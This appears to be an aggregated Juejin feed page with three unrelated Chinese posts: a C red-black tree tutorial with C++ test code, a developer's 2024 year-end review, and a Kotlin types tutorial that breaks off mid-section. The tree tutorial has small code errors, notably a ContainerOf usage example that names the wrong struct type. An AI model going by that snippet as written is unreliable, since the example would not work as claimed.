完成了头文件的编写,编写各个函数实际实现代码的工作也就水到渠成了。我的代码中已经给出了较为详细的注释,这里就不再多做解释了。

注意到我在代码中使用了大量的assert断言语句,这体现了防御性编程的思想,有助于在开发和调试早期尽早发现潜在的错误。(尤其是C/C++这种直接与指针打交道的语言!)

#include "include/rb-tree.h"

#include <stdlib.h>
#include <assert.h>

inline void Transplant(RbNode* old_node, RbNode* new_node, RbRoot* root) {
    assert(old_node != NULL);
    if (old_node == root->rb_node) {
        assert(old_node->parent == NULL);
        root->rb_node = new_node;
    } else if (old_node->parent->left == old_node) {
        old_node->parent->left = new_node;
    } else if (old_node->parent->right == old_node) {
        old_node->parent->right = new_node;
    }
    if (new_node) {
        new_node->parent = old_node->parent;
    }
}

inline void RotateLeft(RbNode* x, RbRoot* root) {
    /*
        Before rotate.
                p
                |
                x
               / \
              /   \
             a     y
                  / \
                 /   \
               (b)    c

        After rotate. Besides x and y, we only need to adjust b's parent.
                p
                |
                y
               / \
              /   \
             x     c
            / \
           /   \
          a    (b)
    */
    assert(x != NULL);
    RbNode* y = x->right;
    assert(y != NULL);
    RbNode* b = y->left;
    // Reset y's parent.
    Transplant(x, y, root);
    // Reconnect x with y.
    y->left = x;
    x->parent = y;
    // Reconnect b with x.
    x->right = b;
    if (b) b->parent = x;
}

inline void RotateRight(RbNode* x, RbRoot* root) {
    /*
        Before rotate.
                p
                |
                x
               / \
              /   \
             y     c
            / \
           /   \
          a    (b)

        After rotate. Besides x and y, we only need to adjust b's parent.
                p
                |
                y
               / \
              /   \
             a     x
                  / \
                 /   \
                (b)   c
    */
    assert(x != NULL);
    RbNode* y = x->left;
    assert(y != NULL);
    RbNode* b = y->right;
    // Reset y's parent.
    Transplant(x, y, root);
    // Reconnect x with y.
    y->right = x;
    x->parent = y;
    // Connect b with x;
    x->left = b;
    if (b) b->parent = x;
}

void FixupAfterInsert(RbNode* node, RbRoot* root) {
    assert(node != NULL);

    RbNode* uncle = NULL;
    RbNode* parent = NULL;
    RbNode* gparent = NULL;

    while (IsRed(parent = node->parent)) {
        assert(node->color == kRed);

        gparent = parent->parent;
        assert(gparent != NULL);
        
        if (parent == gparent->left) {
            uncle = gparent->right;
            /*
                Case 1: Uncle node is red.
                In this case, we don't care whether `node` is a left child or a right child.

                        |                              |
                    [gparent]                       gparent
                       / \                            / \
                      /   \                          /   \
                     /     \           ====>        /     \
                  parent  uncle                 [parent] [uncle]
                   /
                  /
                node

            */
            if (IsRed(uncle)) {
                SetColor(gparent, kRed);
                SetColor(parent, kBlack);
                SetColor(uncle, kBlack);
                node = gparent;
                continue;
            }
            /*
                Case 2: Uncle is black, and `node` is the right child of its parent.
                Let's covert this case into Case 3.

                        |                                                 |
                    [gparent]                                         [gparent]
                       / \                                               / \
                      /   \                                             /   \
                     /     \          ====>                            /     \
                  parent [uncle]              `parent` pointer --->  node  [uncle]
                     \                                                /
                      \                                              /
                       \                                            /
                       node                 `node` pointer --->  parent
            */
            if (node == parent->right) {
                RotateLeft(parent, root);
                RbNode* tmp = parent;
                parent = node;
                node = tmp;
            }
            /*
                Case 3: Uncle is black, and `node` is the left child of its parent.
                After rotating and recoloring, the fixup algorithm is finished.

                        |                              |
                    [gparent]                       [parent]
                       / \                            / \
                      /   \                          /   \
                     /     \           ====>        /     \
                  parent  [uncle]                 node  gparent
                    /                                       \
                   /                                         \
                  /                                           \
                node                                        [uncle]
            */
            RotateRight(gparent, root);
            SetColor(parent, kBlack);
            SetColor(gparent, kRed);
            break;
        } 
        else {
            uncle = gparent->left;
            /* Case 1 */
            if (IsRed(uncle)) {
                SetColor(gparent, kRed);
                SetColor(parent, kBlack);
                SetColor(uncle, kBlack);
                node = gparent;
                continue;
            }
            /* Case 2 */
            if (node == parent->left) {
                RotateRight(parent, root);
                RbNode* tmp = parent;
                parent = node;
                node = tmp;
            }
            /* Case 3 */
            RotateLeft(gparent, root);
            SetColor(parent, kBlack);
            SetColor(gparent, kRed);
            break;
        }
    }
    // Don't forget to force to set root node to black.
    SetColor(root->rb_node, kBlack);
}

void InsertIntoRbTree(RbNode* node, RbNode* parent, RbNode** parent_link, RbRoot* root) {
    assert(node != NULL && parent_link != NULL);
    assert(*parent_link == NULL);
    assert(!parent || (&parent->left == parent_link || &parent->right == parent_link));

    node->left = node->right = NULL;
    SetColor(node, kRed);
    node->parent = parent;
    *parent_link = node;

    FixupAfterInsert(node, root);
}

void FixupAfterRemove(RbNode* node, RbNode* node_parent, RbRoot* root) {
    while ((node == NULL || IsBlack(node)) && node != root->rb_node) {
        assert(node_parent != NULL);
        assert(node_parent->left == node || node_parent->right == node);
        assert(node == NULL || node->parent == node_parent);

        RbNode* sibling = NULL;
        if (node == node_parent->left) {
            sibling = node_parent->right;
            assert(sibling != NULL);
            /*
                Case 1: The `node` has a red sibling.
                Let's call `RotateLeft` so that we can enter case 2, 3 or 4.

                       |                                        |
                    [parent]                                [sibling]
                      / \                                      / \
                     /   \                                    /   \
                    /     \                                  /     \
                   /       \                                /       \
               [[node]]   sibling         ====>           parent     [R]
                  /\       / \                            / \       / \
                 /  \     /   \                          /   \     /   \
                 a  b    /     \                        /     \    e   f
                       [L]     [R]                 [[node]]   [L]
                       / \     / \                    / \     / \
                      /   \   /   \                  /   \   /   \
                      c   d   e   f                  a   b   c   d
            */
            if (IsRed(sibling)) {
                assert(IsBlack(node_parent));
                RotateLeft(node_parent, root);
                SetColor(node_parent, kRed);
                SetColor(sibling, kBlack);
            }
            /*
                Case 2: The `node` has a black sibling, and the sibling hasn't any red child.

                       |                                        |
                   <parent>                                 [<parent>]   <----`node` pointer
                      / \                                      / \
                     /   \                                    /   \
                    /     \                                  /     \
                   /       \                                /       \
               [[node]]  [sibling]         ====>         [node]   sibling
                 / \       / \                            / \       / \
                /   \     /   \                          /   \     /   \
                a   b    /     \                         a   b    /     \
                       [L]     [R]                               [L]    [R]
                       / \     / \                               / \    / \
                      /   \   /   \                             /   \  /   \
                      c   d   e   f                             c   d  e   f
            */
            else if (!IsRed(sibling->left) && !IsRed(sibling->right)) {
                SetColor(sibling, kRed);
                node = node_parent;
                node_parent = node->parent;
            }
            /*
                Case 3: The `node` has a black sibling, and the sibling has a red child in left but not right.
                Let's call `RotateRight` so that we can convert it into Case 4.

                       |                                        |
                   <parent>                                 <parent>
                      / \                                      / \
                     /   \                                    /   \
                    /     \                                  /     \
                   /       \                                /       \
               [[node]]  [sibling]         ====>        [[node]]    [L]  <------ `sibling` pointer in next loop
                 / \       / \                            / \       / \
                /   \     /   \                          /   \     /   \
                a   b    /     \                         a   b    /     \
                        L      [R]                               c    sibling
                       / \     / \                                      / \
                      /   \   /   \                                    /   \
                      c   d   e   f                                   /     \
                                                                     d      [R]
                                                                            / \
                                                                           /   \
                                                                           e   f
            */
            else if (IsBlack(sibling->right)) {
                assert(IsRed(sibling->left));
                SetColor(sibling, kRed);
                SetColor(sibling->left, kBlack);
                RotateRight(sibling, root);
            }
            /*
                Case 4: The `node` has a black sibling, and the sibling's right child is red.
                Let's call `RotateLeft` so that we can convert it into Case 4.

                       |                                        |
                    <parent>                                <sibling>
                      / \                                      / \
                     /   \                                    /   \
                    /     \                                  /     \
                   /       \                                /       \
               [[node]]  [sibling]         ====>        [parent]    [R]
                 / \       / \                            / \       / \
                /   \     /   \                          /   \     /   \
                a   b    /     \                        /     \    e   f
                       {L}      R                    [node]   {L}
                       / \     / \                    / \     / \
                      /   \   /   \                  /   \   /   \
                      c   d   e   f                  a   b   c   d
            */
            else {
                SetColor(sibling, node_parent->color);
                SetColor(node_parent, kBlack);
                SetColor(sibling->right, kBlack);
                RotateLeft(node_parent, root);
                // Ok, now the rb-tree is rebalanced.
                // Let's exit the loop simply.
                break;
            }
        }
        else {
            sibling = node_parent->left;
            assert(sibling != NULL);
            /* Case 1: The `node` has a red sibling. */
            if (IsRed(sibling)) {
                assert(IsBlack(node_parent));
                RotateRight(node_parent, root);
                SetColor(node_parent, kRed);
                SetColor(sibling, kBlack);
            }
            /* Case 2 */
            else if (!IsRed(sibling->left) && !IsRed(sibling->right)) {
                SetColor(sibling, kRed);
                node = node_parent;
                node_parent = node->parent;
            }
            /* Case 3 */
            else if (IsBlack(sibling->left)) {
                assert(IsRed(sibling->right));
                SetColor(sibling, kRed);
                SetColor(sibling->right, kBlack);
                RotateLeft(sibling, root);
            }
            /* Case 4 */
            else {
                SetColor(sibling, node_parent->color);
                SetColor(node_parent, kBlack);
                SetColor(sibling->left, kBlack);
                RotateRight(node_parent, root);
                // Ok, now the rb-tree is rebalanced.
                // Let's exit the loop simply.
                break;
            }
        }
    }
    // If `node` is tree root, it will "absorb" additional black color.
    // If `node` is red, it will be recolored to black simply.
    if (node != NULL) {
        SetColor(node, kBlack);
    }
}

void RemoveFromRbTree(RbNode* node, RbRoot* root) {
    RbNode* replacement = NULL;
    RbNode* replacement_parent = node->parent;
    Color removed_color = node->color;
    if (node->left == NULL) {
        replacement = node->right;
        Transplant(node, replacement, root);
    }
    else if (node->right == NULL) {
        replacement = node->left;
        Transplant(node, replacement, root);
    } 
    else {
        // Search the successor of node.
        RbNode* successor = node->right;
        while (successor->left != NULL) {
            successor = successor->left;
        }
        // Record the replacement of `successor`,
        // which will replace `successor` in logical.
        replacement = successor->right;
        if (successor != node->right) {
            // Reset the parent of successor's right child
            replacement_parent = successor->parent;
            Transplant(successor, replacement, root);
            // Reconnect node's right child with successor.
            successor->right = node->right;
            node->right->parent = successor;
        } else {
            replacement_parent = successor;
        }
        // Replace node with successor.
        Transplant(node, successor, root);
        // Reconnect node's left child with successor.
        successor->left = node->left;
        node->left->parent = successor;
        // Record the original color of successor,
        // which is the real color the rb-tree lost.
        removed_color = successor->color;
        // Recolor successor with node's color.
        SetColor(successor, node->color);
    }
    // Don't forget to rebalance the rb-tree.
    if (removed_color == kBlack) {
        FixupAfterRemove(replacement, replacement_parent, root);
    }
}

实现通用红黑树

在前文中我们已经简单地提到,我们希望我们实现的红黑树具备一定的通用性,这意味着我们可以将实际项目中更加复杂的数据结构通过红黑树的形式组织起来,并通过统一的通用红黑树函数进行增删改查操作。

为了实现这个需求,一个容易想到的策略就是组合(Composition),即在我们自己的更复杂的数据结构中内联一个通用红黑树的节点结构体。这也是在Linux内核中被广泛使用的一个技巧

比如,下面就是一个最简单的例子:

struct MyData {
    int value;
    struct RbNode rb_node;
};

当我们编写代码调用通用红黑树提供的函数时,就需要从我们自己的数据结构MyData中访问红黑树节点rb_node。这是非常简单的。

但如果反过来,当我们访问到通用红黑树上的某个节点后,若希望对该节点对应的MyData结构体进行操作,则应该怎么做呢?或者更直白地说,已知某个红黑树节点首地址,则要如何获取到内联该节点的结构体的首地址呢?

为了解决该问题,我们引入如下的两个工具宏:

// OffsetOf用于计算结构体type中member成员变量相对于结构体首地址的偏移量
#define OffsetOf(type, member) (uintptr_t)(&((type*)0)->member)

// 三个参数分别为:红黑树节点的首地址,内联红黑树节点的结构体类型,该结构体类型中内联红黑树节点的成员变量名
#define ContainerOf(ptr, type, member) (type*)((uintptr_t)(ptr) - OffsetOf(type, member));

以下是用法举例:

MyData* data = (MyData*)malloc(sizeof(MyData));
RbNode* rb_node_ptr = &data->rb_node;
MyData* data_ptr = ContainerOf(rb_node_ptr, struct RbNode, rb_node);
if (data == data_ptr) {
   puts("Passed!"); // 这句代码会执行
} else {
   puts("Failed!");
}

解决了这个问题之后,我们就可以编写使用红黑树来管理MyData结构体的工具函数了:

void MyInsertIntoRbTree(MyData* new_data, RbRoot* root) {
    RbNode* parent = nullptr;
    RbNode** link_ptr = &root->rb_node;
    while (*link_ptr) {
        parent = *link_ptr;
        MyData* parent_data = ContainerOf(parent, struct MyData, rb_node);
        if (parent_data->value > new_data->value) {
            link_ptr = &parent->left;
        }
        else {
            link_ptr = &parent->right;
        }
    }
    assert(link_ptr != nullptr);
    InsertIntoRbTree(&new_data->rb_node, parent, link_ptr, root);
}

void MyRemoveFromRbTree(MyData* data, RbRoot* root) {
    RemoveFromRbTree(&data->rb_node, root);
    free(data);  // 将节点从通用红黑树摘除后,申请的堆内存需要我们自己手工释放!!!
}

void MyPrintRbTree(RbNode* node) {
    assert(node != nullptr);
    if (node->left) MyPrintRbTree(node->left);

    MyData* data = ContainerOf(node, struct MyData, rb_node);
    printf("color=%s value=%d ", node->color == kBlack ? "black" : "red", data->value);
    
    if (node->left) {
        data = ContainerOf(node->left, struct MyData, rb_node);
        printf("left_value=%d ", data->value);
    }
    
    if (node->right) {
        data = ContainerOf(node->right, struct MyData, rb_node);
        printf("right_value=%d ", data->value);
    }
    
    putchar('\n');

    if (node->right) MyPrintRbTree(node->right);
}

实现红黑树测试工具(基于C++)

红黑树作为一种比较复杂的二叉平衡树,在实际写代码实现时很容易写错掉,所以这里我还写了一些测试函数,用于验证我们实现的红黑树能否正确工作。

其中

  • bool IsLegalRbTree(RbRoot* root_node):进一步调用InorderTraversalChecker函数,扫描指定的二叉搜索树,检查其是否符合红黑树的五条性质。
  • bool RbTreeTesterAuto(int node_num, bool print_log):随机生成node_num个数据域取值不同的节点插入红黑树,并检查最终的红黑树的五条性质仍然成立;再将这些节点逐个从红黑树中移除,每移除一个节点后,检查一次红黑树是否仍然合法。
  • bool RbTreeTesterWithValues(const std::vector<int>& values, bool print_log):类似RbTreeTesterAuto函数,不过插入红黑树的节点数据域取值由用户指定。
#include <iostream>
#include <algorithm>
#include <vector>
#include <queue>
#include <random>
#include <unordered_set>

static void InorderTraversalChecker(
    RbNode* node, std::vector<int>* record,
    int cur_black_count, std::vector<int>* black_count_record
) {
    // 2. Are all nodes either red or black in color?
    if (!IsRed(node) && !IsBlack(node)) {
        throw "Failed: All nodes are either red or black in color.";
    }
    // 3. Are all red nodes' child and parent node black in color?
    if (IsRed(node) && (IsRed(node->parent) || IsRed(node->left) || IsRed(node->right))) {
        throw "Failed: All red nodes' child and parent node are black in color.";
    }

    // Update black count
    if (IsBlack(node)) {
        cur_black_count += 1;
    }

    // Inorder traversal left
    if (node->left != nullptr) {
        InorderTraversalChecker(node->left, record, cur_black_count, black_count_record);
    }

    // Record node value
    MyData* my_data_struct = ContainerOf(node, struct MyData, rb_node);
    record->push_back(my_data_struct->value);

    // Inorder traversal right
    if (node->right != nullptr) {
        InorderTraversalChecker(node->right, record, cur_black_count, black_count_record);
    }

    // 4. Are the numbers of black nodes in the simple paths from root node to any leaf node same?
    if (!node->left && !node->right) {
        if (black_count_record->size() > 0 && cur_black_count != black_count_record->back()) {
            throw "Failed: The numbers of black nodes in the"
                  " simple paths from root node to any leaf node are same";
        }
        black_count_record->push_back(cur_black_count);
    }
}

bool IsLegalRbTree(RbRoot* root_node) {
    // 5. Is the root node black in color?
    if (!IsBlack(root_node->rb_node)) {
        std::cerr << "Failed: The root node is black in color" << std::endl;
        return false;
    }

    std::vector<int> record;
    std::vector<int> black_count_record;
    try {
        InorderTraversalChecker(root_node->rb_node, &record, 0, &black_count_record);
    }
    catch (const char* msg) {
        std::cerr << msg << std::endl;
        return false;
    }

    // 1. Is this tree a legal BST?
    std::vector<int> sorted_record = record;
    std::sort(sorted_record.begin(), sorted_record.end());
    if (!std::equal(record.begin(), record.end(), sorted_record.begin())) {
        std::cerr << "Failed: This tree is a legal BST." << std::endl;
        return false;
    }
    
    return true;
}

bool RbTreeTesterAuto(int node_num, bool print_log) {
    std::random_device rd;  // Random seed generator
    std::mt19937 gen(rd());  // Random number generator
    std::uniform_int_distribution<int> dis(-node_num * 2, node_num * 2);  // The range of random number is [-1000, 1000]

    RbRoot root = InitializedRbRoot;
    std::queue<MyData*> datas;
    
    // Test the insert function.
    std::unordered_set<int> set;
    for (int i = 0; i < node_num; ++i) {
        MyData* my_data_struct = reinterpret_cast<MyData*>(malloc(sizeof(MyData)));
        assert(my_data_struct != nullptr);
        do {
            my_data_struct->value = dis(gen);
        } while (set.count(my_data_struct->value) > 0);
        set.insert(my_data_struct->value);
        // Record rb-tree node.
        datas.push(my_data_struct);
        // Insert the new node to the rb-tree.
        MyInsertIntoRbTree(my_data_struct, &root);
    }
    if (print_log) std::cout << "Inserted all nodes." << std::endl;

    // Check whether the rb-tree is legal.
    if (!IsLegalRbTree(&root)) {
        return false;
    }
    if (print_log) std::cout << "Passed check after inserting." << std::endl;

    if (print_log) MyPrintRbTree(root.rb_node);

    // Test the remove function.
    while (!datas.empty()) {
        MyData* data = datas.front();
        int node_value = data->value;

        if (print_log) std::cout << "Removing node " << node_value << std::endl;

        // Rmove current node from the rb-tree.
        MyRemoveFromRbTree(data, &root);

        // Check
        if (!IsEmptyRbRoot(&root) && !IsLegalRbTree(&root)) {
            return false;
        }
        datas.pop();

        if (print_log) {
            std::cout << "Successfully remove node " << node_value << std::endl;
        }
        if (!IsEmptyRbRoot(&root) && print_log) {
            MyPrintRbTree(root.rb_node);
        }
    }

    return true;
}

bool RbTreeTesterWithValues(const std::vector<int>& values, bool print_log) {

    RbRoot root = InitializedRbRoot;
    std::queue<MyData*> datas;

    // Test the insert function.
    for (int value : values) {
        MyData* my_data_struct = reinterpret_cast<MyData*>(malloc(sizeof(MyData)));
        assert(my_data_struct != nullptr);
        my_data_struct->value = value;
        // Record rb-tree node.
        datas.push(my_data_struct);
        // Insert the new node to the rb-tree.
        MyInsertIntoRbTree(my_data_struct, &root);
    }
    std::cout << "Inserted all nodes." << std::endl;

    // Check whether the rb-tree is legal.
    if (!IsEmptyRbRoot(&root) && !IsLegalRbTree(&root)) {
        return false;
    }
    std::cout << "Passed check after inserting." << std::endl;

    if (print_log) MyPrintRbTree(root.rb_node);

    // Test the remove function.
    while (!datas.empty()) {
        MyData* data = datas.front();
        int node_value = data->value;

        if (print_log) std::cout << "Removing node " << node_value << std::endl;

        // Rmove current node from the rb-tree.
        MyRemoveFromRbTree(data, &root);

        // Check
        if (!IsEmptyRbRoot(&root) && !IsLegalRbTree(&root)) {
            return false;
        }
        datas.pop();

        if (print_log) {
            std::cout << "Successfully remove node " << node_value << std::endl;
        }
        if (!IsEmptyRbRoot(&root) && print_log) {
            MyPrintRbTree(root.rb_node);
        }
    }

    return true;
}

by PAK向日葵 at January 18, 2025 04:26 PM

juejin career

迟来的2024年终总结

这是一篇迟来的 2024年终总结,从来没正式的为自己做过总结。

一、工作

2023年底,其实当时经过了几面之后,本来已经拿到了 Gitee(开源中国) 的 Offer,然后因为杭州有朋友说有项目,于是思考许久之后,还是决定来了杭州。

选择杭州放弃了深圳,我觉得应该还是这几个原因:

  1. 杭州有朋友在,工作安排好之后,住宿的问题也一并解决了,当时到杭州之后基本就是直接拎包入住的。而且公司离住的地方走路也就十分钟。

  2. (因为老婆孩子在区县,市区家里目前也是空置的状态),如果杭州回老家,可以选择飞机、高铁,而且高铁能直达重庆家里,家里到火车站也就五分钟车程,来去方便。深圳的话,就只能飞机到重庆,再转动车到家里。我又是很怕麻烦的一个人。

  3. Gitee 的 Offer 是产品经理,纠结了一下之后,觉得如果转了的话,估计以后自己写代码会更少了

  4. 还没来过杭州。

参与的工作和项目

1.1 老系统的维护和迭代

本身有一套基于 PHP 的灵工财税系统在生产上跑,需要进行日常的维护、迭代一些新功能。

系统周边还有一套 支付宝小程序 也在线上运行着。

1.2 新系统的设计与开发

基于老系统的业务需求,重新架构设计和开发了一套新系统:

  • 使用 Java17 / SpringBoot3 / MySQL8 / JPA / Redis / RocketMQ 等后端技术栈对后台服务做支持
  • 使用 Vue3 / Vite / TypeScript / ElementPlus 等前端技术栈对前端页面做支持

新系统前前后后开发和测试花了大概三个月的时间,技术团队人员 2 个全栈,两个产品,两个测试。

1.3 MCN机构主播平台

设计开发了一个 MCN 机构的主播社区,技术栈和上面新系统基本一致,主要实现了一个后台服务、一个 Web 端的管理系统、一个基于 uniappApp,上架了 App Store,Android 端倒是没有直接上商店,提供的是 H5 官网直接下载 APK.

1.4 一些小工具

也做了一些公司内部很多小工具的开发,例如基于 小爱同学 的业务语音通知服务、Web 叫号服务(类似在页面上输入信息,指定公司内各个部门的小爱同学进行通知的功能)

也不停折腾了公司的一些 VPN 网络架构 局域网服务器架构 等工作,例如基于 vmware vsphere vcenter vsan 的超融合架构等。

用大模型搭了一些好玩的服务,比如 ts.hamm.cn java.hamm.cn

1.5 其他项目

也客串了一个前端,参与了公司其他小组的社交类产品的管理后台开发。

因公司有一个 AI 出海项目需求,预研了一个 AI智能体项目,主要是一些角色扮演的场景服务 (此处有狗头)

二、开源

今年做了一些开源小项目,当然比去年的积极性要低了很多:

2.1 SPMS 智能生产管理

S-PMS (Smart Production Management System) 智能生产管理系统 ,是一个集成化、智能化的企业级应用软件,它集成了多个核心的生产管理模块,包括 制造执行系统 (MES)、仓库管理系统 (WMS)、企业资源计划系统 (ERP)、质量管理系统 (QMS) 以及 物联网管理系统 (IoTS) 等。

技术栈使用的也是和 1.1.2 中提到的一样。

其中完成了两个端的开发:

这个项目其实从 2013年底 就已经开始了,目前还在迭代中。

2.2 OllamaK

因为觉得其他的 Ollama iOS 客户端都不好用,然后自己花了几天时间写了个简单的 Ollama iOS 客户端。

Github: github.com/HammCn/Olla…

基于 Swift + SwiftUI 设计。

2.3 AirPower4T

AirPower4T 是一个基于 Vue3 TypeScript Element Plus Vite 的开发基础库,使用面向对象、装饰器、Hooks等开发模式,内置了数据模型转换、表格表单装饰器配置、加解密和编码解码、网络请求、权限管理等常见后台功能以及页面组件,助力后台类系统的前端开发效率,同时保障了优雅的代码质量。

Github: github.com/HammCn/AirP…

2.4 AirPower4J

AirPower4J是一个基于 Java17、SpringBoot3.x、JPA&MySQL 的后端开发脚手架,其中包含了一些 RBAC、请求验证、CURD封装、异常处理、多租户SaaS、加解密与安全、WebSocket等模块,以满足日常开发的快捷、稳健、标准化等要求。

Github: github.com/HammCn/AirP…

2.5 一些SDK包

2.5.1 WeComSDK

企业微信的 Java SDK 。目前是开发中,对 企业微信 的一些 OpenAPI 进行了封装。

Github: github.com/HammCn/WeCo…

2.5.2 WeComRobotSDK

一个很好用的企业微信机器人开发工具包SDK。也是发布到了 maven 仓库。

Github: github.com/HammCn/WeCo…

2.5.3 AirPowerJavaSdk

AirPower Java SDK 是基于 Java8 下用于快速对接 AirPower4J 项目中的开放应用的开发工具包,实现了与 AirPower4J 匹配的 AES / RSA 出入参加解密、参数签名、防止重返攻击、数据自动转换等功能,针对基于 AirPower4J 下的 Web 项目提供快速支持开放能力。

Github: github.com/HammCn/AirP…

三、写作

这一年免不了在掘金和其他社区摸了不少鱼。

3.1 掘金专栏

开了三个掘金的专栏:

3.1.1 《用TypeScript写前端》

本篇专栏主要讲解作者是如何大胆放肆的使用 TypeScript 面向对象思维来写前端的。

截止目前,共收录了 32篇 文章,订阅用户 500 人,希望能真正的帮到这 500 个订阅的朋友。

QQ_1737215242673.png

3.1.2 《来杯Java压压惊》

主要是分享一些用Java写后端的心得体会。

截止目前,共收录了 14篇 文章,订阅用户 6 人,因为是 11月 才创建的专栏,数据有些许惨淡。

QQ_1737215269614.png

3.1.3 《你好,全干工程师》

网络?运维?架构?产品?设计?可能这个专栏都有涉及到。

截止目前,共收录了 47篇 文章,订阅用户 21 人,数据也不是那么好看。

QQ_1737215396708.png

3.2 粉丝数据

截止目前:

3.2.1 掘金粉丝:800

QQ_1737217234248.png

3.2.2 Github粉丝:211 (@HammCn)

QQ_1737217211402.png

3.2.3 Gitee粉丝:887

QQ_1737217124429.png

3.2.4 公众号粉丝:3401 (@imHamm)

QQ_1737217283528.png

公众号的粉丝也不是很垂直,现在几乎不在公众号发布什么内容了。

3.2.5 微博粉丝:5000

(不垂直,已经不打算经营了,不再公开了)

3.3 阅读数据

截止目前,掘金阅读数据:

QQ_1737215614873.png

四、生活

杭州的生活很糟糕。特别是美食。

4.1 饮食问题

刚来的时候,还能维持每周两三次在家做饭炒菜,这几个月几乎没怎么在家做了,都选择了外卖或者在外面吃。

美团上拉黑了很多个商家了,实在是难吃。

4.2 日常出行

因为几个朋友都在一起,所以日常也基本都是在一块。一般也只在家、公司、附近商场、机场、火车站 这些地方。

日常没有什么出行的需求,但给老婆换掉了之前 我开的油车,换了 另外一辆油车。。。

QQ_1737216960113.png

(给家里添置了第二辆林肯了,蛮喜欢这个品牌的)

唯二在杭州较远的两三次出行:

4.2.1 灵隐寺

image.png

去过一次就不再想去第二次了。

4.2.2 乌镇

和重庆的磁器口差不多,没什么意思。

五、家庭

家庭是最重要的部分,所以选择放到最后说了。

5.1 儿子

儿子今年六月份三岁了,也上了幼儿园小班。

QQ_1737216878261.png

QQ_1737216657395.png

小子从小就聪明,情商也高。就是在学校不爱吃饭,还回家说学校的饭菜不好吃。

现在几乎能用英文从 1-100 读出来,一些颜色、水果、物体 也都能简单的表达了。

数学方面的话,10以内的加法没问题了,减法还不太会的样子。

5.2 老婆

image.png

家里最漂亮的女人。带孩子、上班都是她。

5.3 亲人

爸妈,岳父岳母依然是围着儿子在转,也慢慢的有了一些岁月老去的痕迹了。

依然是身体健康,这也就是最大的幸福。

5.4 离开了两个亲人

我这边的爷爷和外婆相继在今年离开了我们。希望他们在那边没有烦恼,快乐生活。

六、总结

这一年经历了太多,本文也是流水账的方式做了个年终的总结。

对2025年的期望,目前也还很迷茫。

先祝福吧:

希望儿子能健康快乐的成长,能学习到很多好玩的东西。

image.png

image.png

希望老婆依然是貌美如花,别被儿子整天的调皮折腾。

希望爸妈,岳父岳母,爷爷奶奶们身体健康,生活没有烦恼。

至于我自己,现在还没想好,但希望2025年工作上能有一些新的突破。

就这样,也祝所有幸福的人们,2025的愿望也都能实现。

by Hamm at January 18, 2025 04:24 PM

juejin android

Kotlin 2.1.0 入门教程(五)

无符号整型

无符号整型包括以下几种:

  • UByte8 位无符号整数,范围是 0255

  • UShort16 位无符号整数,范围是 065535

  • UInt32 位无符号整数,范围是 02^32 - 14294967295)。

  • ULong64 位无符号整数,范围是 02^64 - 118446744073709551615)。

val uByte: UByte = 255u
val uShort: UShort = 65535u
val uInt: UInt = 4294967295u
val uLong: ULong = 18446744073709551615u

注意,无符号字面量需要在数字后面加上 uU 后缀。

uU 标记用于无符号字面量。具体类型根据预期类型确定。如果未提供预期类型,编译器将根据字面量的大小使用 UIntULong

val b: UByte = 1u  // UByte,提供了预期类型。
val s: UShort = 1u // UShort,提供了预期类型。
val i: UInt = 1u // UInt,提供了预期类型。
val l: ULong = 1u  // ULong,提供了预期类型。

val a1 = 42u // UInt,未提供预期类型,常量适合 UInt。
val a2 = 0xFFFF_FFFF_FFFFu // ULong,未提供预期类型,常量不适合 UInt。

uLUL 显式将字面量标记为无符号长整型 ULong

val a = 1UL

无符号整型数组

无符号整型数组的类型有:

  • UByteArray

  • UShortArray

  • UIntArray

  • ULongArray

与有符号整型数组类似,它们提供了与 Array 类相似的 API,但没有装箱开销。

无符号整型数组及其操作处于 Beta 阶段。它们可能会随时以不兼容的方式更改。

当使用无符号整型数组时,会收到一条警告,表明此功能尚未稳定。要消除警告,请使用 @ExperimentalUnsignedTypes 注解选择加入。

UIntULong 的范围和级数由 UIntRangeUIntProgressionULongRangeULongProgression 类支持。这些类与无符号整型一起是稳定的。

布尔类型

Boolean 类型表示布尔对象,可以有两个值:truefalse

Boolean 有一个可空对应类型 Boolean?

JVM 上,存储为原始 boolean 类型的布尔值通常使用 8 位。

JVM 上,对布尔对象的可空引用会被装箱为 Java 类,就像数字类型一样。

字符类型

字符由 Char 类型表示。字符字面量用单引号括起来 '1'

JVM 上,存储为原始类型 char 的字符表示 16Unicode 字符。

特殊字符以转义反斜杠 \ 开头。支持以下转义序列:

  • \t —— 制表符

  • \b —— 退格符

  • \n —— 换行符(LF

  • \r —— 回车符(CR

  • \' —— 单引号

  • \" —— 双引号

  • \\ —— 反斜杠

  • \$ —— 美元符号

要编码任何其他字符,请使用 Unicode 转义序列语法:'\uFF00'

如果字符变量的值是数字,可以使用 digitToInt() 函数将其显式转换为 Int 数字。

JVM 上,当需要可空引用时,字符会被装箱为 Java 类,就像数字类型一样。装箱操作不会保留同一性。

字符串

字符串由 String 类型表示。

JVM 上,String 类型的对象使用 UTF-16 编码,每个字符大约占用 2 个字节。

字符串值是用双引号 " 括起来的字符序列。

val str = "abcd 123"

字符串的元素是字符,可以通过索引操作 s[i] 访问。可以使用 for 循环遍历这些字符。

for (c in str) {
    println(c)
}

字符串是不可变的。一旦初始化字符串,就无法更改其值或为其分配新值。所有转换字符串的操作都会返回一个新的 String 对象,而原始字符串保持不变。

val str = "abcd"

// 创建并打印一个新的 String 对象。
println(str.uppercase()) // ABCD

// 原始字符串保持不变。
println(str) // abcd

要连接字符串,请使用 + 操作符。这也适用于将字符串与其他类型的值连接,只要表达式中的第一个元素是字符串。

val s = "abc" + 1
println(s + "def") // abc1def    

在大多数情况下,使用字符串模板或多行字符串比字符串连接更可取。

字符串字面量

有两种类型的字符串字面量:

  • 转义字符串

  • 多行字符串

转义字符串可以包含转义字符。以下是一个转义字符串的示例:

val s = "Hello, world!\n"

多行字符串可以包含换行符和任意文本。它由三重引号 """ 分隔,不包含转义,并且可以包含换行符和任何其他字符:

val text = """
    for (c in "foo")
        print(c)
"""

要从多行字符串中删除前导空白,请使用 trimMargin() 函数:

val text = """
    |Tell me and I forget.
    |Teach me and I remember.
    |Involve me and I learn.
    |(Benjamin Franklin)
""".trimMargin()

默认情况下,管道符号 | 用作边距前缀,但您可以选择另一个字符并将其作为参数传递,例如 trimMargin(">")

字符串模板

字符串字面量可以包含模板表达式,这些代码片段会被求值,并将其结果连接到字符串中。

当处理模板表达式时,Kotlin 会自动调用表达式结果的 .toString() 函数,将其转换为字符串。模板表达式以美元符号 $ 开头,可以是变量名:

val i = 10
println("i = $i") // i = 10

val letters = listOf("a","b","c","d","e")
println("Letters: $letters") // Letters: [a, b, c, d, e]

或者用花括号括起来的表达式:

